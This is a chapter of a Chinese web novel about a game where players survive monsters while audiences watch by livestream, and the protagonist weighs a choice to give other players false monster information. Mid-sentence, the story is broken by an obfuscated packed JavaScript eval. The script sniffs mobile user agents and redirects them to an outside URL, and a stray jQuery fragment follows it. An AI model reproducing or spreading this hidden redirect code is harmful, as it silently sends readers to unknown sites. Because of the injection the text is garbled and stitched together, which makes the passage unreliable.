游戏里六人的气闷能够瞬间被抚平,但游戏外直播间里的那些观众,却是真真正正快要气死了。弹幕简直像疯了一样被飞快刷新,一条条指着病秧子骂的内容简直让人看得眼晕。
不过游戏内的玩家是完全看不到那些弹幕的,另外六人听到了闻献的心声,短暂思索后,觉得他心声说得也很有道理。
毕竟如果深究的话,他们现在之所以落得这样狼狈,归根结底,其实还是昨天倒霉。竟然一整个白天都没能找到临时安全据点,直等到傍晚时分,通过神明赐予的祝福,才终于获知了最近据点的坐标。而后在赶路的过程中,遇到了刚刚那已经被击杀的怪物。
唉,这样来看,他们其实真的没必要特地冒险。尤其是那病秧子说得对,他们队伍现在六个人,有五个都肢体不全,身受重伤,还有一个虽然既有镰刀武器又身体完整,可精神上也是疲累的。更别提队伍里还真的有一个身体不好的病秧子……
因此这样想了会后,六人也没再对这件事纠结了,纷纷给伤口再次进行了检查处理后,也一个个打着哈气,决定就按病秧子说的——白天现在先补觉比较好。
这一睡就睡到了下午。
时间约莫是下午三点左右,六人陆陆续续地醒来。坐起来后,发现那病秧子竟然已经醒了,此刻正坐在他原先靠着睡觉的地方,不知在想些什么,居然也没搞事吵醒他们。
六人心情怪异,却在这时恰好都肚子中传来饿意。也就没多想其它,眼看着天色恐怕再过两小时就又得转黑,六人互相对视了眼,都决定要趁着现在天还亮着,赶紧去找点食物回来。
这种事他们想想也知道没可能让病秧子参与,因此直接六人就很快商量着完成了分工。
“你在这待着别出据点知道吗?我们去找点食物和水回来。”
虽然觉得病秧子恐怕也不会有胆子独自出去,但六人出门前还是特地提醒了一句。
闻献点点头,此刻的他看起来真是相当乖巧了:“好的。”
每天随机刷新的临时据点是无法二次踏入的,但如果是通过怪物核心延长了时间的据点,却像是被租赁了一样,不仅能够在延长时间内多次踏入,还可以给外出的玩家提供地点坐标。
这样也就不用担心六人出去后,会出现找不到据点的迷路情况了。
而等六人全都离开后,闻献重新开始整理目前已知的信息:
白天相对安全,但也存在野兽等物。夜晚绝对危险,主要就是各种怪物会冒出。临时安全据点每日刷新,使用怪物的核心能够进行延长。怪物不会主动靠近据点,据点是否对所有怪物都拥有杀伤力还无法确定,目前只确定会对昨夜那种黑影怪物有烧灼效果。怪物死亡后会掉落怪物核心,核心能够延长据点的时间并不固定。而获得怪物的核心并不意味着绝对好事,核心能够延长据点时效的同时,也会给玩家带来污染。
是的,污染。
今早天将亮时,闻献率先将那颗怪物核心捡了起来。
虽然他第一个将之捡起确实有他自己的用意,但当捡起怪物核心后,脑海里不仅响起对应怪物的相关介绍,还响起一道说他已经遭受些微污染的提示音时,闻献依旧感到惊讶。
随即,闻献就觉得这游戏有趣起来。
那道提示音是:【玩家闻献,首先恭喜你获得怪物的核心,你拥有在游戏里存活的一定能力。但与此同时,也不得不相当遗憾的通知你:你受到了怪物核心的污染!请注意你自身的污染值,容游戏再次提醒你,一定要时时刻刻注意。如果污染值超标,你——将成为怪物!】
与此同时,闻献的面前弹跳出一个数字:3,紧跟着,就在闻献的注视中,这数字下落,然后最终停留在他的手背正中间。血淋淋的字迹颜色,浸满了不祥的气息。
然而,游戏却并没有说污染值多少是属于超标。
闻献敏锐注意到了这一点,可惜这游戏跟他所绑定的系统不一样,他想要主动跟游戏联系,却是无法得到任何回应的。似乎只能等待游戏方的主动通知。
而如果游戏并不是出现故障,而是故意没有将超标的标准告知。那恐怕这个标准,还得需要玩家自己进行探索才行。
不过比起手拿怪物核心就会遭到污染这件事,闻献对另一件事更加感到有趣。
依旧是今早拿起怪物核心后,立时响起在他脑海里的游戏音:
【玩家闻献,你获得了怪物的核心。接下来将为你公布部分有关该怪物的信息:
名称:黑影小怪;
等级:2级;
能力:擅长通过黑暗/阴影进行穿梭/快速移动;锁定住队伍最弱玩家后,白天也能够通过该玩家降临。然而该被锁定玩家一旦死亡,怪物将与该玩家队伍失去所有联系。
弱点:能够被物理击退,能够被游戏内武器进行击伤,惧怕据点火光;
分布:降生之地的边缘区域;
用处:击杀后掉落怪物核心。】
【玩家闻献,您获得了该黑影小怪的核心,你受到了来自黑暗的注视。接下来请做出选择:1,闭口不提该怪物的信息介绍,谁也不要告诉。那么,你及你的队伍同伴,将在接下来的游戏中获得黑暗的凝视,哪怕附近拥有其他玩家或队伍,但怪物们也总是会率先冲向你们。】
【2,你选择说出部分怪物的信息,但——必须得是错误信息。借以投诚。黑暗会为你的这种选择而暂时满意,你及你的队伍也会因此不再受到黑暗中怪物的率先攻击。】
之前闻献就感到很好奇,为什么对于那黑影小怪是通过阴影进行移动,而并不是瞬移这件事,那六人会表现的那么难以接受。现在回想这段游戏选择,闻献有些了猜测。
或许是在他们六个进游戏前,就通过游戏直播看到过其他玩家的求生过程。
那些玩家应该也是成功击杀了这黑影小怪,但因为游戏给出的这选择,那些玩家应该是最终说出了错误的怪物信息。所以之前他比较确定这黑影小怪是通过阴影进行移动,而并不是瞬移时,另外六人的脸色却逐渐难看。
这很有趣。
游戏将原星球的人随机选进
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533824|203710||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
游戏,成为玩家。玩家存活,则现实星球并不会出现灾难或怪物降临。那按理来说,游戏内外的人应该同心合力才对。
然而事实上,游戏的残酷却会让游戏内的玩家变得崩溃极端。游戏直播间的设置,看似是让现实星球里的观众更加了解游戏内的情况,甚至给玩家加油打气。
但现实却是进入游戏中的玩家无法看到直播间的弹幕,反而并不知道观众们是否对他们这些玩家有所支持。可他们虽然并不知道观众是否支持鼓励他们,却在没进入游戏前,或多或少都亲眼见过直播间里,观众们因为游戏里玩家的死亡而进行谩骂。
或许,当时这些玩家也是直播间里谩骂死亡玩家的观众一员。
但是,当这些谩骂的玩家也进入游戏后呢?
他们脑海里想起直播间时,想到的率先会是观众们对他们的鼓励加油,还是怀疑他们在游戏里一旦有表现不好的时候,就立刻会遭到来自现实星球观众们的嘲讽和辱骂?
死亡不会被尊重、难过或感激。而会是指责、叹息或辱骂。
当身份对调,观众进入游戏,他们作为玩家的话,真的还会选择跟现实星球站在一起吗?
更别提游戏里,还有这样跟危险相关的选择。是选择什么也不说,然后默默让自己和队伍受到怪物的重点冲击,加速死亡。还是选择早已跟他们没有双向利益关系的其他人,选择说出错误的怪物信息,选择欺骗。
说到底,玩家进入游戏后,现实星球的人就无法再给他们带来任何好处。反而还会在直播间,高高在上地点评他们在游戏里的求生行为。他们的挣扎,观众无法感同身受。但他们成功存活,观众却能够获得收益。这种事,其实真的是越想越不爽吧?
而且只是给出错误的怪物信息,又不是直接给现实星球降临灾难或带去怪物……
所以面对游戏给出的这两个选择,会选择哪一个,好像也就不难确定了。
不过闻献还没有进行选择。
倒不是他很想当那个特殊的人,而是这选择有20小时能用来考虑。
因此闻献就在想,在做出选择前,他是不是能在这20小时内利用一下这个规则呢?
六人寻找食物没有花太长时间,也就一个多小时,六人陆续回到据点。
依旧是那黑漆漆的黑球虫。
除此以外,施安阳、裴朗和队伍里另一个身高最高的黄毛带回了不少水。
那是一个形状恰好中间凹陷的大石头,施安阳、裴朗和大黄毛三个独臂一人一边,竟硬是去河边装满了水后,将这石头给搬了回来。
累得他们刚回到据点将石头放下,就直喘气。
抓了黑球虫回来的,队伍里除闻献外唯一的那位双臂齐全还拥有镰刀武器的褐色长卷毛,则已经开始分割黑球虫的虫肉,将它们分别串在树枝上后,再一起放到篝火上烤。
另两人原本是也去找食物的,结果食物没找到,竟然意外遇到了个木箱子!
打开一看,虽然没有治伤的药水,但却有一个特殊的道具:赐福手套。